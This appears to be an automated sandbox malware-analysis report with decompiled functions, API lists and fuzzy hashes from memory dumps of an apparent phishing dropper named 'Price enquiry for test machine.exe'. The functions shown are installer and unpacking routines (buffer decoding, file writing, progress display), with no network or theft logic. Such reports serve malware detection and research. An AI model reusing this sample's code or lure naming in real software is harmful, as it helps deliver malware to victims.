Instruction Fuzzy Hash: 52411379940209EFDB10DFA9DC49B9E77B5BB08715F308A48F621672C0C7749A81CB60

Uniqueness

Uniqueness Score: -1.00%

Function 72E435C0, Relevance: 13.8, APIs: 7, Strings: 2, Instructions: 284
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E72E435C0(intOrPtr _a4, intOrPtr _a8, void* _a12, long _a16, intOrPtr* _a20, intOrPtr _a24, signed int _a28, long* _a32, signed int _a36, intOrPtr _a40, intOrPtr _a44, signed int _a48) {
				int* _v8;
				void* _v12;
				long _v16;
				void* _v20;
				long _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v52;
				int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _t131;
				int* _t133;
				int* _t134;
				void* _t155;
				void* _t162;
				void* _t166;
				long _t171;
				int* _t185;
				int* _t188;
				int* _t217;
				void* _t243;
				void* _t244;
				void* _t245;

				_v16 = 0;
				_v20 = 0;
				_v12 = 0;
				if(_a20 != 0) {
					_v20 =  *_a20;
				} else {
					if(_a48 == 0 && (_a36 & 0x00000004) == 0) {
						return 0x57;
					}
				}
				__eflags = _a12;
				if(__eflags == 0) {
					_a16 = 0;
				}
				_t131 = E72E42960(__eflags,  &_v64, _a4, _a8);
				_t244 = _t243 + 0xc;
				__eflags = _t131;
				if(_t131 == 0) {
					__eflags = _a28;
					if(_a28 != 0) {
						 *_a28 = _v56;
					}
					__eflags = _v20;
					if(_v20 == 0) {
						L15:
						_t133 = E72E432E0( &_v64, _a12, _a16);
						_t245 = _t244 + 0xc;
						_v8 = _t133;
						__eflags = _v8;
						if(_v8 != 0) {
							__eflags =  *_v8 - _a16;
							if( *_v8 == _a16) {
								_t134 = _v8;
								__eflags =  *(_t134 + 0x13fc);
								if( *(_t134 + 0x13fc) != 0) {
									L22:
									__eflags = _a48;
									if(_a48 == 0) {
										_t217 = _v8;
										_t185 = _v8;
										__eflags =  *((intOrPtr*)(_t217 + 0x1400)) +  *((intOrPtr*)(_t185 + 0x13fc)) - _v36;
										if( *((intOrPtr*)(_t217 + 0x1400)) +  *((intOrPtr*)(_t185 + 0x13fc)) <= _v36) {
											_v24 = _a16 + _v56;
											_v12 = _v20;
											__eflags = _v20;
											if(_v20 == 0) {
												L28:
												_v12 = VirtualAlloc(0, _v24, 0x1000, 4);
												__eflags = _v12;
												if(_v12 != 0) {
													L30:
													__eflags = _a12;
													if(_a12 != 0) {
														memcpy(_v12, _a12,  *_v8);
														_t245 = _t245 + 0xc;
													}
													E72E433E0(_v8, _v12, _v8);
													E72E43430(_v8, _v12, _v12 +  *_v8, _v8);
													_t245 = _t245 + 0x14;
													_t188 = _v8;
													__eflags =  *(_t188 + 0x13fc);
													if( *(_t188 + 0x13fc) == 0) {
														__eflags =  *_v8 - _v56;
														if( *_v8 != _v56) {
															_v16 = 0xc00e4102;
															goto L54;
														}
														memcpy(_v12 +  *_v8, _v12, _v56);
														_t245 = _t245 + 0xc;
														goto L37;
													} else {
														_t171 = E72E42260(_v8[0x500], _v8[0x4ff], _v12, _v56,  *_v8, _v64 & 0x00000004, _a40, _a44);
														_t245 = _t245 + 0x20;
														_v16 = _t171;
														L37:
														__eflags = _v16;
														if(_v16 == 0) {
															E72E43490(_v12 +  *_v8, _a12, _a12, _v12 +  *_v8, _v8);
															_t155 = E72E43500(_v8, _v12 +  *_v8, _v56);
															_t245 = _t245 + 0x18;
															__eflags = _v52 - _t155;
															if(_v52 == _t155) {
																__eflags = _a36 & 0x00000001;
																if((_a36 & 0x00000001) == 0) {
																	L47:
																	__eflags = _a36 & 0x00000004;
																	if((_a36 & 0x00000004) == 0) {
																		__eflags = _v20;
																		if(_v20 == 0) {
																			_v20 = _v12;
																			 *_a20 = _v20;
																		}
																		_t162 = _v12 + _a16;
																		__eflags = _t162;
																		memmove(_v20, _t162, _v56);
																		_t245 = _t245 + 0xc;
																	}
																	__eflags = _a32;
																	if(_a32 != 0) {
																		 *_a32 = 0;
																		_a32[1] = 0;
																		__eflags = _v64 & 0x00800000;
																		if((_v64 & 0x00800000) != 0) {
																			E72E42FD0(_a32, _v60, _a32);
																			_t245 = _t245 + 8;
																		}
																	}
																	L54:
																	__eflags = _v12;
																	if(_v12 != 0) {
																		__eflags = _v12 - _v20;
																		if(_v12 != _v20) {
																			VirtualFree(_v12, 0, 0x8000);
																		}
																	}
																	goto L57;
																}
																__eflags =  *_v8 - _v56;
																if( *_v8 != _v56) {
																	goto L47;
																}
																_push(_v56);
																_push(_v12 +  *_v8);
																_t166 = _v12;
																_push(_t166);
																L72E440A6();
																_t245 = _t245 + 0xc;
																_v28 = _t166;
																__eflags = _v28;
																if(_v28 != 0) {
																	goto L47;
																}
																_v16 = 0xc00e4105;
																goto L54;
															}
															_v16 = 0xc00e4102;
															goto L54;
														}
														__eflags = _v16 - 0xc00e4101;
														if(_v16 == 0xc00e4101) {
															0x72e40000("decode failure: data corruption or bug.\n");
															_t245 = _t245 + 4;
														}
														goto L54;
													}
												}
												_v16 = GetLastError();
												goto L57;
											}
											__eflags = _a24 - _v24;
											if(_a24 >= _v24) {
												goto L30;
											}
											goto L28;
										}
										_v16 = 0xc00e4106;
										goto L57;
									}
									goto L57;
								}
								__eflags = _a36 & 0x00000001;
								if((_a36 & 0x00000001) == 0) {
									goto L22;
								}
								_v16 = 0xc00e4105;
								goto L57;
							}
							_v16 = 0xc00e4102;
							goto L57;
						}
						_v16 = 0xc00e4104;
						goto L57;
					} else {
						__eflags = _a24 - _v56;
						if(_a24 >= _v56) {
							goto L15;
						}
						_v16 = 0x7a;
						L57:
						E72E42FB0( &_v64);
						return _v16;
					}
				}
				_v16 = _v32;
				goto L57;
			}

0x72e435c6
0x72e435cd
0x72e435d4
0x72e435df
0x72e43600
0x72e435e1
0x72e435e5
0x00000000
0x72e435ef
0x72e435f9
0x72e43603
0x72e43607
0x72e43609
0x72e43609
0x72e4361c
0x72e43621
0x72e43624
0x72e43626
0x72e43633
0x72e43637
0x72e4363f
0x72e4363f
0x72e43641
0x72e43645
0x72e4365b
0x72e43667
0x72e4366c
0x72e4366f
0x72e43672
0x72e43676
0x72e43689
0x72e4368c
0x72e4369a
0x72e4369d
0x72e436a4
0x72e436ba
0x72e436ba
0x72e436be
0x72e436c5
0x72e436ce
0x72e436d7
0x72e436da
0x72e436ee
0x72e436f4
0x72e436f7
0x72e436fb
0x72e43705
0x72e43718
0x72e4371b
0x72e4371f
0x72e4372f
0x72e4372f
0x72e43733
0x72e43743
0x72e43748
0x72e43748
0x72e43753
0x72e4376c
0x72e43771
0x72e43774
0x72e43777
0x72e4377e
0x72e437c3
0x72e437c6
0x72e437e3
0x00000000
0x72e437e3
0x72e437d9
0x72e437de
0x00000000
0x72e43780
0x72e437b1
0x72e437b6
0x72e437b9
0x72e437ef
0x72e437ef
0x72e437f3
0x72e43821
0x72e4383a
0x72e4383f
0x72e43842
0x72e43845
0x72e43856
0x72e43859
0x72e43890
0x72e43893
0x72e43896
0x72e43898
0x72e4389c
0x72e438a1
0x72e438aa
0x72e438aa
0x72e438b3
0x72e438b3
0x72e438bb
0x72e438c0
0x72e438c0
0x72e438c3
0x72e438c7
0x72e438cc
0x72e438d5
0x72e438df
0x72e438e5
0x72e438ef
0x72e438f4
0x72e438f4
0x72e438e5
0x72e438f7
0x72e438f7
0x72e438fb
0x72e43900
0x72e43903
0x72e43910
0x72e43910
0x72e43903
0x00000000
0x72e438fb
0x72e43860
0x72e43863
0x00000000
0x00000000
0x72e43868
0x72e43871
0x72e43872
0x72e43875
0x72e43876
0x72e4387b
0x72e4387e
0x72e43881
0x72e43885
0x00000000
0x00000000
0x72e43887
0x00000000
0x72e43887
0x72e43847
0x00000000
0x72e43847
0x72e437f5
0x72e437fc
0x72e43803
0x72e43808
0x72e43808
0x00000000
0x72e4380b
0x72e4377e
0x72e43727
0x00000000
0x72e43727
0x72e43700
0x72e43703
0x00000000
0x00000000
0x00000000
0x72e43703
0x72e436dc
0x00000000
0x72e436dc
0x00000000
0x72e436c0
0x72e436a9
0x72e436ac
0x00000000
0x00000000
0x72e436ae
0x00000000
0x72e436ae
0x72e4368e
0x00000000
0x72e4368e
0x72e43678
0x00000000
0x72e43647
0x72e4364a
0x72e4364d
0x00000000
0x00000000
0x72e4364f
0x72e43916
0x72e4391a
0x00000000
0x72e43922
0x72e43645
0x72e4362b
0x00000000

Strings

z, xrefs: 72E4364F
decode failure: data corruption or bug., xrefs: 72E437FE

Memory Dump Source

Source File: 00000000.00000002.290479341.0000000072E41000.00000020.00020000.sdmp, Offset: 72E40000, based on PE: true

Associated: 00000000.00000002.290458874.0000000072E40000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290518667.0000000072E45000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290525123.0000000072E46000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.290531660.0000000072E48000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: decode failure: data corruption or bug.$z
API String ID: 0-2086563021
Opcode ID: ee8200c4bc2d515048fb9d97e5228e059b8bce9b69ad8d12ad5f9970606d562f
Instruction ID: 6b58784362e8318a61684973daceae77ba8c4ef9dc0bf19b4589bace15a85fe7
Opcode Fuzzy Hash: ee8200c4bc2d515048fb9d97e5228e059b8bce9b69ad8d12ad5f9970606d562f
Instruction Fuzzy Hash: 8FC11BB5E00109EFDB05CF98E984B9EB7B6BF48348F209198F91667344DB34AA51CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00405DFA, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DFA(CHAR* _a4) {
				char _t5;
				char _t7;
				char* _t15;
				char* _t16;
				CHAR* _t17;

				_t17 = _a4;
				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
					_t17 =  &(_t17[4]);
				}
				if( *_t17 != 0 && E004056F8(_t17) != 0) {
					_t17 =  &(_t17[2]);
				}
				_t5 =  *_t17;
				_t15 = _t17;
				_t16 = _t17;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((char*)(E004056B6("*?|<>/\":", _t5))) == 0) {
							E00405830(_t16, _t17, CharNextA(_t17) - _t17);
							_t16 = CharNextA(_t16);
						}
						_t17 = CharNextA(_t17);
						_t5 =  *_t17;
					} while (_t5 != 0);
				}
				 *_t16 =  *_t16 & 0x00000000;
				while(1) {
					_t16 = CharPrevA(_t15, _t16);
					_t7 =  *_t16;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t16 =  *_t16 & 0x00000000;
					if(_t15 < _t16) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x00405dfc
0x00405e04
0x00405e18
0x00405e18
0x00405e1e
0x00405e2b
0x00405e2b
0x00405e2c
0x00405e2e
0x00405e32
0x00405e34
0x00405e3d
0x00405e3f
0x00405e59
0x00405e61
0x00405e61
0x00405e66
0x00405e68
0x00405e6a
0x00405e6e
0x00405e6f
0x00405e72
0x00405e7a
0x00405e7c
0x00405e80
0x00000000
0x00000000
0x00405e86
0x00405e8b
0x00000000
0x00000000
0x00000000
0x00405e8b
0x00405e90

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Price enquiry for test machine.exe" ,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030D6,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405E52
CharNextA.USER32(?,?,?,00000000), ref: 00405E5F
CharNextA.USER32(?,"C:\Users\user\Desktop\Price enquiry for test machine.exe" ,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030D6,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405E64
CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030D6,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405E74

Strings

"C:\Users\user\Desktop\Price enquiry for test machine.exe" , xrefs: 00405E36
*?|<>/":, xrefs: 00405E42
C:\Users\user\AppData\Local\Temp\, xrefs: 00405DFB, 00405E00

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Price enquiry for test machine.exe" $*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1301264793
Opcode ID: ce236f4316dc44970b3d4854ee077085f8211c330c8e5a50d5c3ec65e4e49f20
Instruction ID: 8fb4f4a5a46673644b6d17db89182f96b33943a1441b7055d0135b6347a17e40
Opcode Fuzzy Hash: ce236f4316dc44970b3d4854ee077085f8211c330c8e5a50d5c3ec65e4e49f20
Instruction Fuzzy Hash: 0411B971804A9029EB321734DC44B7B7F88CB9A7A0F18447BD9D4722C2D67C5E429BED

Uniqueness

Uniqueness Score: -1.00%

Function 00403EBB, Relevance: 12.1, APIs: 8, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403EBB(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t35;
				long _t37;
				void* _t40;
				long* _t49;

				if(_a4 + 0xfffffecd > 5) {
					L15:
					return 0;
				}
				_t49 = GetWindowLongA(_a12, 0xffffffeb);
				if(_t49 == 0) {
					goto L15;
				}
				_t35 =  *_t49;
				if((_t49[5] & 0x00000002) != 0) {
					_t35 = GetSysColor(_t35);
				}
				if((_t49[5] & 0x00000001) != 0) {
					SetTextColor(_a8, _t35);
				}
				SetBkMode(_a8, _t49[4]);
				_t37 = _t49[1];
				_v16.lbColor = _t37;
				if((_t49[5] & 0x00000008) != 0) {
					_t37 = GetSysColor(_t37);
					_v16.lbColor = _t37;
				}
				if((_t49[5] & 0x00000004) != 0) {
					SetBkColor(_a8, _t37);
				}
				if((_t49[5] & 0x00000010) != 0) {
					_v16.lbStyle = _t49[2];
					_t40 = _t49[3];
					if(_t40 != 0) {
						DeleteObject(_t40);
					}
					_t49[3] = CreateBrushIndirect( &_v16);
				}
				return _t49[3];
			}

0x00403ecd
0x00403f61
0x00000000
0x00403f61
0x00403ede
0x00403ee2
0x00000000
0x00000000
0x00403ee8
0x00403ef1
0x00403ef4
0x00403ef4
0x00403efa
0x00403f00
0x00403f00
0x00403f0c
0x00403f12
0x00403f19
0x00403f1c
0x00403f1f
0x00403f21
0x00403f21
0x00403f29
0x00403f2f
0x00403f2f
0x00403f39
0x00403f3e
0x00403f41
0x00403f46
0x00403f49
0x00403f49
0x00403f59
0x00403f59
0x00000000

APIs

GetWindowLongA.USER32 ref: 00403ED8
GetSysColor.USER32(00000000), ref: 00403EF4
SetTextColor.GDI32(?,00000000), ref: 00403F00
SetBkMode.GDI32(?,?), ref: 00403F0C
GetSysColor.USER32(?), ref: 00403F1F
SetBkColor.GDI32(?,?), ref: 00403F2F
DeleteObject.GDI32(?), ref: 00403F49
CreateBrushIndirect.GDI32(?), ref: 00403F53

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: c17ffa4718e249222cf94fd394cb2cb31c18988dc7419d15a412fba3cf9ed351
Instruction ID: 51638b03811fbd3f25a4eb1d810876b9f584da0c3187da66c7daa715c1b02470
Opcode Fuzzy Hash: c17ffa4718e249222cf94fd394cb2cb31c18988dc7419d15a412fba3cf9ed351
Instruction Fuzzy Hash: 08218471904745ABCB219F78DD08B4BBFF8AF05715B048629F856E22E0D734E904CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004026AF, Relevance: 10.6, APIs: 7, Instructions: 89
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004026AF(struct _OVERLAPPED* __ebx) {
				void* _t27;
				long _t32;
				struct _OVERLAPPED* _t47;
				void* _t51;
				void* _t53;
				void* _t56;
				void* _t57;
				void* _t58;

				_t47 = __ebx;
				 *((intOrPtr*)(_t58 - 0xc)) = 0xfffffd66;
				_t52 = E00402A29(0xfffffff0);
				 *(_t58 - 0x38) = _t24;
				if(E004056F8(_t52) == 0) {
					E00402A29(0xffffffed);
				}
				E00405850(_t52);
				_t27 = E0040586F(_t52, 0x40000000, 2);
				 *(_t58 + 8) = _t27;
				if(_t27 != 0xffffffff) {
					_t32 =  *0x423f54; // 0x3ae00
					 *(_t58 - 0x30) = _t32;
					_t51 = GlobalAlloc(0x40, _t32);
					if(_t51 != _t47) {
						E004030B3(_t47);
						E00403081(_t51,  *(_t58 - 0x30));
						_t56 = GlobalAlloc(0x40,  *(_t58 - 0x20));
						 *(_t58 - 0x34) = _t56;
						if(_t56 != _t47) {
							E00402E8E( *((intOrPtr*)(_t58 - 0x24)), _t47, _t56,  *(_t58 - 0x20));
							while( *_t56 != _t47) {
								_t49 =  *_t56;
								_t57 = _t56 + 8;
								 *(_t58 - 0x48) =  *_t56;
								E00405830( *((intOrPtr*)(_t56 + 4)) + _t51, _t57, _t49);
								_t56 = _t57 +  *(_t58 - 0x48);
							}
							GlobalFree( *(_t58 - 0x34));
						}
						WriteFile( *(_t58 + 8), _t51,  *(_t58 - 0x30), _t58 - 0x3c, _t47);
						GlobalFree(_t51);
						 *((intOrPtr*)(_t58 - 0xc)) = E00402E8E(0xffffffff,  *(_t58 + 8), _t47, _t47);
					}
					CloseHandle( *(_t58 + 8));
				}
				_t53 = 0xfffffff3;
				if( *((intOrPtr*)(_t58 - 0xc)) < _t47) {
					_t53 = 0xffffffef;
					DeleteFileA( *(_t58 - 0x38));
					 *((intOrPtr*)(_t58 - 4)) = 1;
				}
				_push(_t53);
				E00401423();
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t58 - 4));
				return 0;
			}

0x004026af
0x004026b1
0x004026bd
0x004026c0
0x004026ca
0x004026ce
0x004026ce
0x004026d4
0x004026e1
0x004026e9
0x004026ec
0x004026f2
0x00402700
0x00402705
0x00402709
0x0040270c
0x00402715
0x00402721
0x00402725
0x00402728
0x00402732
0x00402751
0x00402739
0x0040273e
0x00402746
0x00402749
0x0040274e
0x0040274e
0x00402758
0x00402758
0x0040276a
0x00402771
0x00402783
0x00402783
0x00402789
0x00402789
0x00402794
0x00402795
0x00402799
0x0040279d
0x004027a3
0x004027a3
0x004027aa
0x00402197
0x004028c1
0x004028cd

APIs

GlobalAlloc.KERNEL32(00000040,0003AE00,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402703
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 0040271F
GlobalFree.KERNEL32 ref: 00402758
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,000000F0), ref: 0040276A
GlobalFree.KERNEL32 ref: 00402771
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 00402789
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040279D

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 86c275f08be09aec70893b32aeacbca8804cc45ae7d70b5d5ba6e64a6a3d4a6c
Instruction ID: c2c7835655fcdbd4aa1197060f7bd229eae72b48ff88aadc8082708ad166979d
Opcode Fuzzy Hash: 86c275f08be09aec70893b32aeacbca8804cc45ae7d70b5d5ba6e64a6a3d4a6c
Instruction Fuzzy Hash: 9A31AD71C00128BBCF216FA5DE88DAEBA79EF04364F14423AF924762E0C67949418B99

Uniqueness

Uniqueness Score: -1.00%

Function 00404E84, Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E84(CHAR* _a4, CHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				CHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				CHAR* _t26;
				signed int _t27;
				CHAR* _t28;
				long _t29;
				signed int _t39;

				_t26 =  *0x423724; // 0x0
				_v8 = _t26;
				if(_t26 != 0) {
					_t27 =  *0x423ff4; // 0x0
					_v12 = _t27;
					_t39 = _t27 & 0x00000001;
					if(_t39 == 0) {
						E00405BBA(0, _t39, 0x41fd10, 0x41fd10, _a4);
					}
					_t26 = lstrlenA(0x41fd10);
					_a4 = _t26;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t26 = SetWindowTextA( *0x423708, 0x41fd10);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x41fd10;
							_v52 = 1;
							_t29 = SendMessageA(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t39;
							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52);
							_t26 = SendMessageA(_v8, 0x1013, _v48, 0);
						}
						if(_t39 != 0) {
							_t28 = _a4;
							 *((char*)(_t28 + 0x41fd10)) = 0;
							return _t28;
						}
					} else {
						_t26 =  &(_a4[lstrlenA(_a8)]);
						if(_t26 < 0x800) {
							_t26 = lstrcatA(0x41fd10, _a8);
							goto L6;
						}
					}
				}
				return _t26;
			}

0x00404e8a
0x00404e96
0x00404e99
0x00404e9f
0x00404eab
0x00404eae
0x00404eb1
0x00404eb7
0x00404eb7
0x00404ebd
0x00404ec5
0x00404ec8
0x00404ee5
0x00404ee9
0x00404ef2
0x00404ef2
0x00404efc
0x00404f05
0x00404f11
0x00404f18
0x00404f1c
0x00404f1f
0x00404f32
0x00404f40
0x00404f40
0x00404f44
0x00404f46
0x00404f49
0x00000000
0x00404f49
0x00404eca
0x00404ed2
0x00404eda
0x00404ee0
0x00000000
0x00404ee0
0x00404eda
0x00404ec8
0x00404f53

APIs

lstrlenA.KERNEL32(0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000,?), ref: 00404EBD
lstrlenA.KERNEL32(00402FBE,0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000), ref: 00404ECD
lstrcatA.KERNEL32(0041FD10,00402FBE,00402FBE,0041FD10,00000000,0040F0E0,00000000), ref: 00404EE0
SetWindowTextA.USER32(0041FD10,0041FD10), ref: 00404EF2
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F18
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F32
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F40

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 71e37258a37026cf273fcfa99aead3f8e91a2c4ccac8b3bb5b1c98b8a192fec2
Instruction ID: 29716f0e6f05b21b32fe67f81276caf5577c11483a64657c7043e00463a136c9
Opcode Fuzzy Hash: 71e37258a37026cf273fcfa99aead3f8e91a2c4ccac8b3bb5b1c98b8a192fec2
Instruction Fuzzy Hash: 21218EB1900118BBDF119FA5DC849DFBFB9FB44354F10807AF904A6290C7789E418BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404753, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404753(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageA(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageA(_t28, 0x110c, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404761
0x0040476e
0x00404774
0x004047b2
0x004047b2
0x004047c1
0x004047c8
0x00000000
0x004047ca
0x00404776
0x00404785
0x0040478d
0x00404790
0x004047a2
0x004047a8
0x004047af
0x00000000
0x004047af
0x00000000

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 0040476E
GetMessagePos.USER32 ref: 00404776
ScreenToClient.USER32 ref: 00404790
SendMessageA.USER32(?,00001111,00000000,?), ref: 004047A2
SendMessageA.USER32(?,0000110C,00000000,?), ref: 004047C8

Strings

f, xrefs: 004047A4

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3eee6e6f27995ada1ce6a04a907356a17faffc15d7d88bba2040e0493be19c46
Instruction ID: b5292072505f589c3e6e61736795eac3e8b5c463abbfbac9e5f2f3c06e421abf
Opcode Fuzzy Hash: 3eee6e6f27995ada1ce6a04a907356a17faffc15d7d88bba2040e0493be19c46
Instruction Fuzzy Hash: BE015275D00219BADB00DB94DC45BFEBBBCAB55715F10412BBB10B71C1C7B465418BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402B6E, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B6E(struct HWND__* _a4, intOrPtr _a8) {
				char _v68;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x40b0d8; // 0x3ae00
					_t11 =  *0x41f0e8;
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfA( &_v68, "verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextA(_a4,  &_v68);
					SetDlgItemTextA(_a4, 0x406,  &_v68);
				}
				return 0;
			}

0x00402b7b
0x00402b89
0x00402b8f
0x00402b8f
0x00402b9d
0x00402b9f
0x00402ba5
0x00402bac
0x00402bae
0x00402bae
0x00402bc4
0x00402bd4
0x00402be6
0x00402be6
0x00402bee

APIs

SetTimer.USER32 ref: 00402B89
MulDiv.KERNEL32(0003AE00,00000064,?), ref: 00402BB4
wsprintfA.USER32 ref: 00402BC4
SetWindowTextA.USER32(?,?), ref: 00402BD4
SetDlgItemTextA.USER32 ref: 00402BE6

Strings

verifying installer: %d%%, xrefs: 00402BBE

Memory Dump Source

